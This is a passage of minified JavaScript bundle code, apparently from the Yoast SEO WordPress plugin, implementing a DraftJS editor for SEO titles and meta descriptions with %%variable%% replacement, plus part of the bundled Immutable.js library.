s=i?Object.getOwnPropertyDescriptor(t,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=t[o]}return r.default=t,n&&n.set(t,r),r}(n(98487)),y=n(34353),g=n(82080),m=n(31689),b=n(17481),w=n(45608);function S(t){if("function"!=typeof WeakMap)return null;var e=new WeakMap,n=new WeakMap;return(S=function(t){return t?n:e})(t)}function E(t){return t&&t.__esModule?t:{default:t}}const O=_.default.div`
	div {
		z-index: 10995;
	}
	> div {
		max-height: 450px;
		overflow-y: auto;
	}
`,x=new RegExp("(?:\\p{RI}\\p{RI}|\\p{Emoji}(?:\\p{Emoji_Modifier}|\\u{FE0F}\\u{20E3}?|[\\u{E0020}-\\u{E007E}]+\\u{E007F})?(?:\\u{200D}\\p{Emoji}(?:\\p{Emoji_Modifier}|\\u{FE0F}\\u{20E3}?|[\\u{E0020}-\\u{E007E}]+\\u{E007F})?)*)","gu");class I extends r.default.Component{constructor(t){super(t);const{content:e,replacementVariables:n,recommendedReplacementVariables:r}=this.props,i=(0,m.unserializeEditor)(e,n),o=this.determineCurrentReplacementVariables(n,r);this.state={editorState:i,searchValue:"",isSuggestionsOpen:!1,editorKey:this.props.fieldId,suggestions:this.mapReplacementVariablesToSuggestions(o)},this._serializedContent=e,this.initializeBinds(),this.initializeDraftJsPlugins()}initializeBinds(){this.onChange=this.onChange.bind(this),this.handleKeyCommand=this.handleKeyCommand.bind(this),this.onSearchChange=this.onSearchChange.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.handleCopyCutEvent=this.handleCopyCutEvent.bind(this),this.debouncedA11ySpeak=(0,a.default)(p.speak.bind(this),500),this.onSuggestionsOpenChange=this.onSuggestionsOpenChange.bind(this)}initializeDraftJsPlugins(){const t=(0,o.default)({mentionTrigger:"%",entityMutability:"IMMUTABLE",mentionComponent:g.Mention}),e=(0,s.default)({stripEntities:!1});this.pluginList={mentionsPlugin:t,singleLinePlugin:{...e,handleReturn:()=>{}}},this.pluginList=(0,d.applyFilters)("yoast.replacementVariableEditor.pluginList",this.pluginList)}serializeContent(t){const e=(0,m.serializeEditor)(t.getCurrentContent());this._serializedContent!==e&&(this._serializedContent=e,this.props.onChange(this._serializedContent))}onChange(t){return new Promise((e=>{t=(0,m.replaceReplacementVariables)(t,this.props.replacementVariables),t=(0,w.selectReplacementVariables)(t,this.state.editorState),this.setState({editorState:t},(()=>{this.serializeContent(t),e()}))}))}handleKeyCommand(t){if("backspace"!==t&&"delete"!==t)return"not-handled";let e=(0,b.removeSelectedText)(this.state.editorState);const n=e.getCurrentContent(),r=e.getSelection();if(!r.isCollapsed())return"not-handled";const i=r.getStartOffset();if(i<0)return"not-handled";const o=n.getBlockForKey(r.getStartKey()).getText(),s="backspace"===t?i-1:i+1;if((o.codePointAt(s)||0)<=127)return"not-handled";let a;return a="backspace"===t?this.getBackwardMatch(o,i):this.getForwardMatch(o,i),a?(e=(0,b.removeEmojiCompletely)(e,a,t),this.onChange(e).then((()=>this.focus())),"handled"):"not-handled"}getForwardMatch(t,e){let n=1;return[2,3,4,5,6,7,8,9,10,11,12,13,14].every((r=>{const i=t.slice(e,e+r);return!(null===i.match(x)||i.match(x).length>1||(n=r,0))})),t.slice(e,e+n).match(x)}getBackwardMatch(t,e){return t.slice(0,e).match(x)}mapReplacementVariablesToSuggestions(t){return t.map((t=>({...t,name:t.label,replaceName:t.name})))}suggestionsFilter(t,e){const n=t.toLowerCase();return e.filter((function(t){return!(t.hidden||n&&0!==t.name.toLowerCase().indexOf(n))}))}determineCurrentReplacementVariables(t,e,n=""){if(""===n&&!(0,u.default)(e)){const n=(0,c.default)(t,(t=>(0,f.default)(e,t.name)));if(0!==n.length)return n}return t}onSearchChange({value:t}){this.props.onSearchChange&&this.props.onSearchChange(t);const e=this.determineCurrentReplacementVariables(this.props.replacementVariables,this.props.recommendedReplacementVariables,t),n=this.mapReplacementVariablesToSuggestions(e);this.setState({searchValue:t,suggestions:this.suggestionsFilter(t,n)}),setTimeout((()=>{this.announceSearchResults()}))}onSuggestionsOpenChange(t){this.setState({isSuggestionsOpen:t})}announceSearchResults(){const{suggestions:t}=this.state;t.length?this.debouncedA11ySpeak((0,v.sprintf)((0,v._n)("%d result found, use up and down arrow keys to navigate","%d results found, use up and down arrow keys to navigate",t.length,"wordpress-seo"),t.length),"assertive"):this.debouncedA11ySpeak((0,v.__)("No results","wordpress-seo"),"assertive")}focus(){this.editor.focus()}setEditorRef(t){this.editor=t}setEditorFieldId(){(0,l.default)(this.editor,"editor.editor").id=this.props.fieldId}triggerReplacementVariableSuggestions(){let t=(0,b.removeSelectedText)(this.state.editorState);const e=t.getSelection(),n=t.getCurrentContent(),r=(0,b.getAnchorBlock)(n,e).getText(),i=(0,b.getCaretOffset)(e),o=!(0,b.hasWhitespaceAt)(r,i-1),s=!(0,b.hasWhitespaceAt)(r,i),a=(0,b.getTrigger)(o,s);if(t=(0,b.insertText)(t,a),s){const e=i+a.length-1;t=(0,b.moveCaret)(t,e)}this.onChange(t).then((()=>this.focus()))}componentDidUpdate(t,e){const{content:n,replacementVariables:r,recommendedReplacementVariables:i}=t,{searchValue:o}=this.state,s={},a=this.props,u=a.content!==this._serializedContent&&a.content!==n,c=a.replacementVariables!==r,f=a.replacementVariables.map((t=>t.name)).filter((t=>!r.map((t=>t.name)).includes(t))).some((t=>n.includes("%%"+t+"%%")));if(u&&(this._serializedContent=a.content,s.editorState=(0,m.unserializeEditor)(a.content,a.replacementVariables)),!u&&c&&f&&(this._serializedContent=a.content,s.editorState=(0,m.unserializeEditor)(a.content,a.replacementVariables)),c){const t=this.determineCurrentReplacementVariables(a.replacementVariables,i,o);s.suggestions=this.suggestionsFilter(o,this.mapReplacementVariablesToSuggestions(t))}(c||u)&&this.setState({...e,...s})}handleCopyCutEvent(t){const{editorState:e}=this.state,n=e.getSelection();if(n.getHasFocus())try{const r=t.clipboardData,i=e.getCurrentContent(),o=(0,m.serializeSelection)(i,n);r.setData("text/plain",o),t.preventDefault()}catch(t){console.error("Couldn't copy content of editor to clipboard, defaulting to browser copy behavior."),console.error("Original error: ",t)}}componentDidMount(){document.addEventListener("copy",this.handleCopyCutEvent),document.addEventListener("cut",this.handleCopyCutEvent),this.setEditorFieldId()}componentWillUnmount(){this.debouncedA11ySpeak.cancel(),document.removeEventListener("copy",this.handleCopyCutEvent),document.removeEventListener("cut",this.handleCopyCutEvent)}render(){const{MentionSuggestions:t}=this.pluginList.mentionsPlugin,{onFocus:e,onBlur:n,ariaLabelledBy:o,placeholder:s,theme:a,isDisabled:u,fieldId:c}=this.props,{editorState:f,suggestions:l,isSuggestionsOpen:h}=this.state;return r.default.createElement(r.default.Fragment,null,r.default.createElement(i.default,{key:this.state.editorKey,textDirectionality:a.isRtl?"RTL":"LTR",editorState:f,handleKeyCommand:this.handleKeyCommand,onChange:this.onChange,onFocus:e,onBlur:n,plugins:Object.values(this.pluginList),ref:this.setEditorRef,stripPastedStyles:!0,ariaLabelledBy:o,placeholder:s,spellCheck:!0,readOnly:u}),(0,d.applyFilters)("yoast.replacementVariableEditor.additionalPlugins",r.default.createElement(r.default.Fragment,null),this.pluginList,c),r.default.createElement(O,null,r.default.createElement(t,{onSearchChange:this.onSearchChange,suggestions:l,onOpenChange:this.onSuggestionsOpenChange,open:h})))}}e.ReplacementVariableEditorStandaloneInnerComponent=I,I.propTypes={content:h.default.string.isRequired,replacementVariables:y.replacementVariablesShape.isRequired,recommendedReplacementVariables:y.recommendedReplacementVariablesShape,ariaLabelledBy:h.default.string.isRequired,onSearchChange:h.default.func,onChange:h.default.func.isRequired,onFocus:h.default.func,onBlur:h.default.func,theme:h.default.object,placeholder:h.default.string,fieldId:h.default.string.isRequired,isDisabled:h.default.bool},I.defaultProps={onSearchChange:null,onFocus:()=>{},onBlur:()=>{},placeholder:"",theme:{isRtl:!1},recommendedReplacementVariables:[],isDisabled:!1},e.default=(0,_.withTheme)(I)},26895:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var r=u(n(99196)),i=u(n(85890)),o=n(81413),s=u(n(9283)),a=n(34353);function u(t){return t&&t.__esModule?t:{default:t}}class c extends r.default.Component{constructor(t){super(t),this.state={activeField:null,hoveredField:null},this.setFieldFocus=this.setFieldFocus.bind(this),this.handleChange=this.handleChange.bind(this),this.onClick=this.onClick.bind(this),this.onBlur=this.onBlur.bind(this)}handleChange(t,e){this.props.onChange(t,e)}setFieldFocus(t){this.setState({activeField:t})}onBlur(){this.setState({activeField:null})}onClick(t){this.setFieldFocus(t)}render(){const{data:t,replacementVariables:e,recommendedReplacementVariables:n,descriptionEditorFieldPlaceholder:i,hasPaperStyle:a,fieldIds:u,labels:c,hasNewBadge:f,isDisabled:l,hasPremiumBadge:h}=this.props,{activeField:p,hoveredField:d}=this.state;return r.default.createElement(o.ErrorBoundary,null,r.default.createElement(s.default,{descriptionEditorFieldPlaceholder:i,data:t,activeField:p,hoveredField:d,onChange:this.handleChange,onFocus:this.setFieldFocus,onBlur:this.onBlur,replacementVariables:e,recommendedReplacementVariables:n,containerPadding:a?"0 20px":"0",fieldIds:u,labels:c,hasNewBadge:f,isDisabled:l,hasPremiumBadge:h}))}}c.propTypes={replacementVariables:a.replacementVariablesShape,recommendedReplacementVariables:a.recommendedReplacementVariablesShape,data:i.default.shape({title:i.default.string.isRequired,description:i.default.string.isRequired}).isRequired,onChange:i.default.func.isRequired,descriptionEditorFieldPlaceholder:i.default.string,hasPaperStyle:i.default.bool,fieldIds:i.default.shape({title:i.default.string.isRequired,description:i.default.string.isRequired}).isRequired,labels:i.default.shape({title:i.default.string,description:i.default.string}),hasNewBadge:i.default.bool,isDisabled:i.default.bool,hasPremiumBadge:i.default.bool},c.defaultProps={replacementVariables:[],recommendedReplacementVariables:[],hasPaperStyle:!0,descriptionEditorFieldPlaceholder:null,labels:{},hasNewBadge:!1,isDisabled:!1,hasPremiumBadge:!1},e.default=c},9283:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=e.StyledEditor=void 0;var r=c(n(99196)),i=c(n(85890)),o=n(65736),s=c(n(98487)),a=c(n(51381)),u=n(34353);function c(t){return t&&t.__esModule?t:{default:t}}const f=e.StyledEditor=s.default.section`
	padding: ${t=>t.padding?t.padding:"0 20px"};
`;class l extends r.default.Component{constructor(t){super(t),this.elements={title:null,description:null},this.setRef=this.setRef.bind(this),this.setTitleRef=this.setTitleRef.bind(this),this.setDescriptionRef=this.setDescriptionRef.bind(this),this.triggerReplacementVariableSuggestions=this.triggerReplacementVariableSuggestions.bind(this),this.onFocusTitle=this.onFocusTitle.bind(this),this.onChangeTitle=this.onChangeTitle.bind(this),this.onFocusDescription=this.onFocusDescription.bind(this),this.onChangeDescription=this.onChangeDescription.bind(this)}setRef(t,e){this.elements[t]=e}setTitleRef(t){this.setRef("title",t)}setDescriptionRef(t){this.setRef("description",t)}componentDidUpdate(t){this.focusOnActiveFieldChange(t.activeField)}focusOnActiveFieldChange(t){const{activeField:e}=this.props;e&&e!==t&&this.elements[e].focus()}triggerReplacementVariableSuggestions(t){this.elements[t].triggerReplacementVariableSuggestions()}onFocusTitle(){this.props.onFocus("title")}onChangeTitle(t){this.props.onChange("title",t)}onFocusDescription(){this.props.onFocus("description")}onChangeDescription(t){this.props.onChange("description",t)}render(){const{descriptionEditorFieldPlaceholder:t,activeField:e,hoveredField:n,replacementVariables:i,recommendedReplacementVariables:s,onBlur:u,data:{title:c,description:l},containerPadding:h,fieldIds:p,labels:d,hasNewBadge:v,isDisabled:_,hasPremiumBadge:y}=this.props;return r.default.createElement(f,{padding:h},r.default.createElement(a.default,{type:"title",label:d.title||(0,o.__)("SEO title","wordpress-seo"),onFocus:this.onFocusTitle,onBlur:u,isActive:"title"===e,isHovered:"title"===n,editorRef:this.setTitleRef,replacementVariables:i,recommendedReplacementVariables:s,content:c,onChange:this.onChangeTitle,fieldId:p.title,hasNewBadge:v,isDisabled:_,hasPremiumBadge:y}),r.default.createElement(a.default,{type:"description",placeholder:t,label:d.description||(0,o.__)("Meta description","wordpress-seo"),onFocus:this.onFocusDescription,onBlur:u,isActive:"description"===e,isHovered:"description"===n,editorRef:this.setDescriptionRef,replacementVariables:i,recommendedReplacementVariables:s,content:l,onChange:this.onChangeDescription,fieldId:p.description,hasNewBadge:v,isDisabled:_,hasPremiumBadge:y}))}}l.propTypes={replacementVariables:u.replacementVariablesShape,recommendedReplacementVariables:u.recommendedReplacementVariablesShape,onChange:i.default.func.isRequired,onFocus:i.default.func,onBlur:i.default.func,data:i.default.shape({title:i.default.string,description:i.default.string}).isRequired,activeField:i.default.oneOf(["title","description"]),hoveredField:i.default.oneOf(["title","description"]),descriptionEditorFieldPlaceholder:i.default.string,containerPadding:i.default.string,fieldIds:i.default.shape({title:i.default.string.isRequired,description:i.default.string.isRequired}).isRequired,labels:i.default.shape({title:i.default.string,description:i.default.string}),hasNewBadge:i.default.bool,isDisabled:i.default.bool,hasPremiumBadge:i.default.bool},l.defaultProps={replacementVariables:[],recommendedReplacementVariables:[],onFocus:()=>{},onBlur:()=>{},containerPadding:"0 20px",descriptionEditorFieldPlaceholder:null,labels:{},hasNewBadge:!1,isDisabled:!1,hasPremiumBadge:!1,activeField:"",hoveredField:""},e.default=l},34353:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.replacementVariablesShape=e.recommendedReplacementVariablesShape=void 0;var r,i=(r=n(85890))&&r.__esModule?r:{default:r};e.replacementVariablesShape=i.default.arrayOf(i.default.shape({name:i.default.string.isRequired,value:i.default.string.isRequired,label:i.default.string,description:i.default.string,hidden:i.default.bool})),e.recommendedReplacementVariablesShape=i.default.arrayOf(i.default.string)},17481:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.removeSelectedText=e.removeEmojiCompletely=e.moveCaret=e.insertText=e.hasWhitespaceAt=e.getTrigger=e.getCaretOffset=e.getAnchorBlock=void 0;var r=n(7206);e.getTrigger=(t,e)=>{let n="%";return t&&(n=" "+n),e&&(n+=" "),n},e.hasWhitespaceAt=(t,e)=>{const n=t.charAt(e);return 0===n.length||/\s/.test(n)},e.getCaretOffset=t=>t.getIsBackward()?t.getEndOffset():t.getStartOffset();const i=(t,e)=>{const n=e.getAnchorKey();return t.getBlockForKey(n)};e.getAnchorBlock=i,e.insertText=(t,e)=>{const n=t.getCurrentContent(),i=t.getSelection();if(!i.isCollapsed())return t;const o=r.Modifier.insertText(n,i,e);return r.EditorState.push(t,o,"insert-characters")},e.removeSelectedText=t=>{const e=t.getCurrentContent(),n=t.getSelection(),i=r.Modifier.removeRange(e,n,"backward");return r.EditorState.push(t,i,"remove-range")},e.moveCaret=(t,e,n="")=>{const o=t.getCurrentContent(),s=t.getSelection();""===n&&(n=i(o,s).getKey());const a=r.SelectionState.createEmpty(n).merge({anchorOffset:e,focusOffset:e});return r.EditorState.acceptSelection(t,a)},e.removeEmojiCompletely=(t,e,n)=>{const i=t.getSelection(),o=t.getCurrentContent(),s=i.getStartOffset(),a=o.getBlockForKey(i.getStartKey()),u=e[e.length-1].length,c="backspace"===n?s-u:s+u,f=new r.SelectionState({anchorOffset:c,anchorKey:a.getKey(),focusOffset:s,focusKey:a.getKey(),isBackward:"delete"===n,hasFocus:i.getHasFocus()});return r.EditorState.push(t,r.Modifier.replaceText(o,f,""),"remove-range")}},45608:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.getEntityAtPosition=o,e.getEntityRange=i,e.selectReplacementVariables=function(t,e){const n=t.getSelection(),u=e.getSelection(),c=t.getCurrentContent();if(n===u)return t;const f=function(t,e,n){const r=t.getStartOffset(),u=t.getStartKey(),c=t.getEndOffset(),f=t.getEndKey(),{startOffsetProperty:l,endOffsetProperty:h}=s(t.getIsBackward()),p=o(n,u,r);if(null!==p){const r=i(n,u,p),{start:o,end:s}=r;t=a(e,r)?t.merge({[l]:s}):t.merge({[l]:o})}const d=o(n,f,c);if(null!==d){const r=i(n,u,d),{start:o,end:s}=r;t=a(e,r)?t.merge({[h]:o}):t.merge({[h]:s})}return t}(n,u,c);return f!==n&&(t=r.EditorState.forceSelection(t,f)),t};var r=n(7206);function i(t,e,n){const r=t.getBlockForKey(e);let i=null;return r.findEntityRanges((t=>t.getEntity()===n),((t,e)=>{i={start:t,end:e}})),i}function o(t,e,n){const r=t.getBlockForKey(e).getEntityAt(n),o=i(t,e,r);return null===o||o.start===n?null:r}const s=function(t){let e="anchorOffset",n="focusOffset";return t&&(e="focusOffset",n="anchorOffset"),{startOffsetProperty:e,endOffsetProperty:n}};function a(t,e){const{start:n,end:r}=e;return t.getStartOffset()<=n&&t.getEndOffset()>=r}},31689:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.addLabel=v,e.addPositionInformation=_,e.createEntityInContent=g,e.findReplacementVariables=d,e.getReplacementVariableLabel=p,e.getSelectedText=b,e.moveSelectionAfterReplacement=y,e.replaceByPosition=f,e.replaceReplacementVariables=w,e.replaceVariableWithEntity=m,e.serializeBlock=h,e.serializeEditor=function(t,e=" "){return t.getBlockMap().map((e=>h(e,(e=>t.getEntity(e))))).join(e)},e.serializeSelection=function(t,e,n=" "){const r=e.getStartKey(),i=e.getEndKey(),o=t.getBlockMap();let s=!1;return o.skipUntil((function(t){return t.getKey()===r})).takeUntil((function(t){const e=s;return t.getKey()===i&&(s=!0),e})).map((function(n){const o=n.getKey(),s={};return o===r&&(s.start=e.getStartOffset()),o===i&&(s.end=e.getEndOffset()),h(n,(e=>t.getEntity(e)),s)})).join(n)},e.serializeVariable=c,e.unserializeEditor=function(t,e){return w(r.EditorState.createWithContent(r.ContentState.createFromText(t)),e)};var r=n(7206),i=n(23695);const o="%%",s=/%%([A-Za-z0-9_]+)%%/g,a="%mention",u="IMMUTABLE";function c(t){return o+t+o}function f(t,e=[]){return[...e].reverse().forEach((e=>{const{start:n,end:r,replacementText:i}=e,o=t.slice(0,n),s=t.slice(r,t.length);t=o+i+s})),t}function l(t,e,n){return t>=e&&t<=n}function h(t,e,{start:n=0,end:r=t.getText().length}={}){const i=t.getText().slice(n,r),o=[];return t.findEntityRanges((t=>!!t.getEntity()),((i,s)=>{if(l(i,n,r)&&l(s,n,r)){const r=e(t.getEntityAt(i));r.data.mention&&o.push({start:i-n,end:s-n,replacementText:c(r.data.mention.replaceName)})}})),f(i,o)}function p(t,e){let n=e;return t.forEach((t=>{t.name===e&&t.label&&(n=t.label)})),n}function d(t){const e=[];let n;for(;n=s.exec(t);){const[t,r]=n;e.push({name:r,start:n.index,length:t.length})}return e}function v(t,e){return{...t,label:p(e,t.name)}}function _(t){return{...t,start:t.start,end:t.start+t.length,delta:t.label.length-t.length}}function y(t,e,n){const{start:r,end:i,delta:o}=n;if(t.hasEdgeWithin(e,r,i)){const e=i+o;t=t.merge({anchorOffset:e,focusOffset:e})}else t.focusOffset>i&&(t=t.merge({anchorOffset:t.anchorOffset+o,focusOffset:t.focusOffset+o}));return t}function g(t,e){const n={mention:{replaceName:e.name}};return t.createEntity(a,u,n)}function m(t,e,n){let i=t.getCurrentContent();const o=r.SelectionState.createEmpty(n).merge({anchorOffset:e.start,focusOffset:e.end});i=g(i,e);const s=r.Modifier.replaceText(i,o,e.label,null,i.getLastCreatedEntityKey());return r.EditorState.push(t,s,"apply-entity")}function b(t,e){const n=e.getAnchorKey(),r=t.getCurrentContent().getBlockForKey(n),i=e.getStartOffset(),o=e.getEndOffset();return r.getText().slice(i,o)}function w(t,e){const n=t.getCurrentContent().getBlockMap();let o=t;return n.forEach((t=>{const{text:n,key:s}=t;[...d(n)].reverse().forEach((t=>{t=_(t=v(t,e));let n=o.getSelection();n=y(n,s,t);const a=function(t,e,n,o){const s=t.getCurrentContent(),a=b(t,r.SelectionState.createEmpty(n).merge({anchorOffset:o.end,focusOffset:o.end+1}));if(!(0,i.getWordBoundaries)().includes(a)){const i=r.SelectionState.createEmpty(n).merge({anchorOffset:o.end,focusOffset:o.end}),a=r.Modifier.insertText(s,i," ");t=r.EditorState.push(t,a,"insert-characters"),e.getAnchorOffset()>=o.start&&(e=e.merge({anchorOffset:e.getAnchorOffset()+1,focusOffset:e.getFocusOffset()+1}))}return{editorState:t,selection:e}}(o,n,s,t);o=m(a.editorState,t,s),o=r.EditorState.acceptSelection(o,a.selection)}))})),o}},32183:(t,e,n)=>{"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.TriggerReplacementVariableSuggestionsButton=e.TitleInputContainer=e.StandardButton=e.FormSection=e.DescriptionInputContainer=e.ButtonsContainer=void 0;var r,i=(r=n(98487))&&r.__esModule?r:{default:r},o=n(23695),s=n(37188),a=n(81413);const u="#707070",c=(e.TitleInputContainer=(0,i.default)(a.VariableEditorInputContainer)`
	.public-DraftStyleDefault-block {
		line-height: 1.85714285; // 26px based on 14px font-size
	}

	.public-DraftEditorPlaceholder-root {
		color: ${u};
		line-height: 1.85714285; // 26px based on 14px font-size
	}

	.public-DraftEditorPlaceholder-hasFocus {
		color: ${u};
	}
`,e.DescriptionInputContainer=(0,i.default)(a.VariableEditorInputContainer)`
	min-height: 72px;
	padding: 4px 5px;
	line-height: 1.85714285; // 26px based on 14px font-size

	.public-DraftEditorPlaceholder-root {
		color: ${u};
		position: absolute;
		line-height: 1.85714285; // 26px based on 14px font-size
	}

	.public-DraftEditorPlaceholder-hasFocus {
		color: ${u};
		position: absolute;
	}
`,e.FormSection=i.default.div`
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	margin: 16px 0 0 0;
`,e.StandardButton=(0,i.default)(a.Button)`
	color: #303030;
	box-sizing: border-box;
	border-radius: 4px;
	box-shadow: inset 0 -2px 0 0 rgba(0,0,0,0.1);
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	padding: 4px;
	border: 1px solid #dbdbdb;
	font-size: 14px;
	font-weight: 400;
	line-height: 1.5;
	margin-bottom: 5px;
	max-width: 200px;
	padding: 0 0.5em;
`);e.TriggerReplacementVariableSuggestionsButton=(0,i.default)(c)`
	font-size: 13px;
	margin-bottom: 0; /* Override StandardButton margin instead of changing that. */
	& svg {
		${(0,o.getDirectionalStyle)("margin-right","margin-left")}: 7px;
		fill: ${s.colors.$color_grey_dark};
	}
`,e.ButtonsContainer=i.default.div`
	display: inline-flex;
	gap: 0.5em;
	margin-inline-start: auto;
	margin-bottom: 5px;
`},60940:(t,e,n)=>{"use strict";n.r(e),n.d(e,{default:()=>c});var r=n(66581),i=n(7206),o=/\n/g;function s(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:" ";return t.replace(o,e)}function a(t){return t.set("entity",null)}var u={stripEntities:!0};const c=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return t=Object.assign({},u,t),{blockRenderMap:(0,r.Map)({unstyled:{element:"div"}}),onChange:function(e){var n=e.getCurrentContent().getBlocksAsArray();if(n.length>1)e=function(t,e,n){e=e||t.getCurrentContent().getBlocksAsArray();var o=(0,r.List)(),u=(0,r.List)();e.forEach((function(t){"atomic"!==t.getType()&&(o=o.push(s(t.getText())),u=u.concat(t.getCharacterList()))})),n.stripEntities&&(u=u.map(a));var c=new i.ContentBlock({key:(0,i.genKey)(),text:o.join(""),type:"unstyled",characterList:u,depth:0}),f=i.ContentState.createFromBlockArray([c]);return t=i.EditorState.push(t,f,"remove-range"),i.EditorState.moveFocusToEnd(t)}(e,n,t);else{var u=n[0],c=u.getText(),f=u.getCharacterList(),l=t.stripEntities&&function(t){var e=!1;return t.forEach((function(t){null!==t.get("entity")&&(e=!0)})),e}(f);if(o.test(c)||l){c=s(c),t.stripEntities&&(f=f.map(a)),u=new i.ContentBlock({key:(0,i.genKey)(),text:c,type:"unstyled",characterList:f,depth:0});var h=i.ContentState.createFromBlockArray([u]);e=i.EditorState.push(e,h,"insert-characters")}}return e},handleReturn:function(t){return"handled"}}}},66581:function(t){t.exports=function(){"use strict";var t=Array.prototype.slice;function e(t,e){e&&(t.prototype=Object.create(e.prototype)),t.prototype.constructor=t}function n(t){return s(t)?t:J(t)}function r(t){return a(t)?t:$(t)}function i(t){return u(t)?t:Y(t)}function o(t){return s(t)&&!c(t)?t:X(t)}function s(t){return!(!t||!t[l])}function a(t){return!(!t||!t[h])}function u(t){return!(!t||!t[p])}function c(t){return a(t)||u(t)}function f(t){return!(!t||!t[d])}e(r,n),e(i,n),e(o,n),n.isIterable=s,n.isKeyed=a,n.isIndexed=u,n.isAssociative=c,n.isOrdered=f,n.Keyed=r,n.Indexed=i,n.Set=o;var l="@@__IMMUTABLE_ITERABLE__@@",h="@@__IMMUTABLE_KEYED__@@",p="@@__IMMUTABLE_INDEXED__@@",d="@@__IMMUTABLE_ORDERED__@@",v="delete",_=5,y=1<<_,g=y-1,m={},b={value:!1},w={value:!1};function S(t){return t.value=!1,t}function E(t){t&&(t.value=!0)}function O(){}function x(t,e){e=e||0;for(var n=Math.max(0,t.length-e),r=new Array(n),i=0;i<n;i++)r[i]=t[i+e];return r}function I(t){return void 0===t.size&&(t.size=t.__iterate(M)),t.size}function z(t,e){if("number"!=typeof e){var n=e>>>0;if(""+n!==e||4294967295===n)return NaN;e=n}return e<0?I(t)+e:e}function M(){return!0}function C(t,e,n){return(0===t||void 0!==n&&t<=-n)&&(void 0===e||void 0!==n&&e>=n)}function D(t,e){return R(t,e,0)}function k(t,e){return R(t,e,e)}function R(t,e,n){return void 0===t?n:t<0?Math.max(0,e+t):void 0===e?t:Math.min(e,t)}var A=0,q=1,j=2,P="function"==typeof Symbol&&Symbol.iterator,B="@@iterator",T=P||B;function F(t){this.next=t}function K(t,e,n,r){var i=0===t?e:1===t?n:[e,n];return r?r.value=i:r={value:i,done:!1},r}function V(){return{value:void 0,done:!0}}function L(t){return!!N(t)}function U(t){return t&&"function"==typeof t.next}function W(t){var e=N(t);return e&&e.call(t)}function N(t){var e=t&&(P&&t[P]||t[B]);if("function"==typeof e)return e}function H(t){return t&&"number"==typeof t.length}function J(t){return null==t?st():s(t)?t.toSeq():function(t){var e=ct(t)||"object"==typeof t&&new nt(t);if(!e)throw new TypeError("Expected Array or iterable object of values, or keyed object: "+t);return e}(t)}function $(t){return null==t?st().toKeyedSeq():s(t)?a(t)?t.toSeq():t.fromEntrySeq():at(t)}function Y(t){return null==t?st():s(t)?a(t)?t.entrySeq():t.toIndexedSeq():ut(t)}function X(t){return(null==t?st():s(t)?a(t)?t.entrySeq():t:ut(t)).toSetSeq()}F.prototype.toString=function(){return"[Iterator]"},F.KEYS=A,F.VALUES=q,F.ENTRIES=j,F.prototype.inspect=F.prototype.toSource=function(){return this.toString()},F.prototype[T]=function(){return this},e(J,n),J.of=function(){return J(arguments)},J.prototype.toSeq=function(){return this},J.prototype.toString=function(){return this.__toString("Seq {","}")},J.prototype.cacheResult=function(){return!this._cache&&this.__iterateUncached&&(this._cache=this.entrySeq().toArray(),this.size=this._cache.length),this},J.prototype.__iterate=function(t,e){return ft(this,t,e,!0)},J.prototype.__iterator=function(t,e){return lt(this,t,e,!0)},e($,J),$.prototype.toKeyedSeq=function(){return this},e(Y,J),Y.of=function(){return Y(arguments)},Y.prototype.toIndexedSeq=function(){return this},Y.prototype.toString=function(){return this.__toString("Seq [","]")},Y.prototype.__iterate=function(t,e){return ft(this,t,e,!1)},Y.prototype.__iterator=function(t,e){return lt(this,t,e,!1)},e(X,J),X.of=function(){return X(arguments)},X.prototype.toSetSeq=function(){return this},J.isSeq=ot,J.Keyed=$,J.Set=X,J.Indexed=Y;var G,Q,Z,tt="@@__IMMUTABLE_SEQ__@@";function et(t){this._array=t,this.size=t.length}function nt(t){var e=Object.keys(t);this._object=t,this._keys=e,this.size=e.length}function rt(t){this._iterable=t,this.size=t.length||t.size}function it(t){this._iterator=t,this._iteratorCache=[]}function ot(t){return!(!t||!t[tt])}function st(){return G||(G=new et([]))}function at(t){var e=Array.isArray(t)?new et(t).fromEntrySeq():U(t)?new it(t).fromEntrySeq():L(t)?new rt(t).fromEntrySeq():"object"==typeof t?new nt(t):void 0;if(!e)throw new TypeError("Expected Array or iterable object of [k, v] entries, or keyed object: "+t);return e}function ut(t){var e=ct(t);if(!e)throw new TypeError("Expected Array or iterable object of values: "+t);return e}function ct(t){return H(t)?new et(t):U(t)?new it(t):L(t)?new rt(t):void 0}function ft(t,e,n,r){var i=t._cache;if(i){for(var o=i.length-1,s=0;s<=o;s++){var a=i[n?o-s:s];if(!1===e(a[1],r?a[0]:s,t))return s+1}return s}return t.__iterateUncached(e,n)}function lt(t,e,n,r){var i=t._cache;if(i){var o=i.length-1,s=0;return new F((function(){var t=i[n?o-s:s];return s++>o?{value:void 0,done:!0}:K(e,r?t[0]:s-1,t[1])}))}return t.__iteratorUncached(e,n)}function ht(t,e){return e?pt(e,t,"",{"":t}):dt(t)}function pt(t,e,n,r){return Array.isArray(e)?t.call(r,n,Y(e).map((function(n,r){return pt(t,n,r,e)}))):vt(e)?t.call(r,n,$(e).map((function(n,r){return pt(t,n,r,e)}))):e}function dt(t){return Array.isArray(t)?Y(t).map(dt).toList():vt(t)?$(t).map(dt).toMap():t}function vt(t){return t&&(t.constructor===Object||void 0===t.constructor)}function _t(t,e){if(t===e||t!=t&&e!=e)return!0;if(!t||!e)return!1;if("function"==typeof t.valueOf&&"function"==typeof e.valueOf){if((t=t.valueOf())===(e=e.valueOf())||t!=t&&e!=e)return!0;if(!t||!e)return!1}return!("function"!=typeof t.equals||"function"!=typeof e.equals||!t.equals(e))}function yt(t,e){if(t===e)return!0;if(!s(e)||void 0!==t.size&&void 